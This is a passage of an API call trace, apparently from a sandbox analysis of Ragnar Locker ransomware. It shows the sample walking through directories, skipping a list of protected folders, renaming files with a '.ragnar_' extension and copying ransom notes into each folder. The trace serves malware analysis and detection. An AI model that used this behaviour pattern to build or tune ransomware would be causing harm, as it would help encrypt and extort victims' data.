[0079.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.316] lstrcpyW (in: lpString1=0x1eab5a, lpString2="photograph.png" | out: lpString1="photograph.png") returned="photograph.png" [0079.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png") returned=".png" [0079.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.317] CloseHandle (hObject=0xffffffff) returned 0 [0079.317] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" [0079.317] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.ragnar_FD7BD9FC" [0079.317] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.317] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8183ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.317] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.317] lstrcpyW (in: lpString1=0x1eab5a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.317] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.317] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.317] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0079.317] lstrcmpiW (lpString1="Travel", lpString2=".") returned 1 [0079.317] lstrcmpiW (lpString1="Travel", lpString2="..") returned 1 [0079.317] lstrcmpiW (lpString1="Travel", lpString2="Windows") returned -1 [0079.317] lstrcmpiW (lpString1="Travel", lpString2="Windows.old") returned -1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Tor browser") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Internet Explorer") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Google") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Opera") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Opera Software") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Mozilla") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="Mozilla Firefox") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="$Recycle.Bin") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="ProgramData") returned 1 [0079.318] lstrcmpiW (lpString1="Travel", lpString2="All Users") returned 1 [0079.318] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.318] lstrcpyW (in: lpString1=0x1eb620, lpString2="Travel" | out: lpString1="Travel") returned="Travel" [0079.318] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" [0079.318] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" [0079.318] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RGNR_FD7BD9FC.txt" [0079.318] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*" [0079.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.322] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.322] lstrcpyW (in: lpString1=0x1ea742, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81864e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.322] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81864e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.322] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.322] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.322] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0079.322] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2=".") returned 1 [0079.322] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="..") returned 1 [0079.322] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0079.322] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2=".") returned 1 [0079.322] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="..") returned 1 [0079.322] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0079.322] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2=".") returned 1 [0079.322] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="..") returned 1 [0079.322] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0079.322] lstrcmpiW (lpString1="btn-back-static.png", lpString2=".") returned 1 [0079.322] lstrcmpiW (lpString1="btn-back-static.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="btn-next-static.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="btn-next-static.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="btn-previous-static.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="button-bullet.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="button-bullet.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="button-highlight.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="button-highlight.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="content-background.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="content-background.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="header-background.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="header-background.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="passport.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="passport.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="Passport.wmv", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="Passport.wmv", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="passportcover.png", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="passportcover.png", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="PassportMask.wmv", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2=".") returned 1 [0079.323] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="..") returned 1 [0079.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0079.323] lstrcmpiW (lpString1="passport_mask_left.png", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="passport_mask_right.png", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="play-background.png", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="play-background.png", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81864e20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.324] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="selection_subpicture.png", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="travel.png", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="travel.png", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, 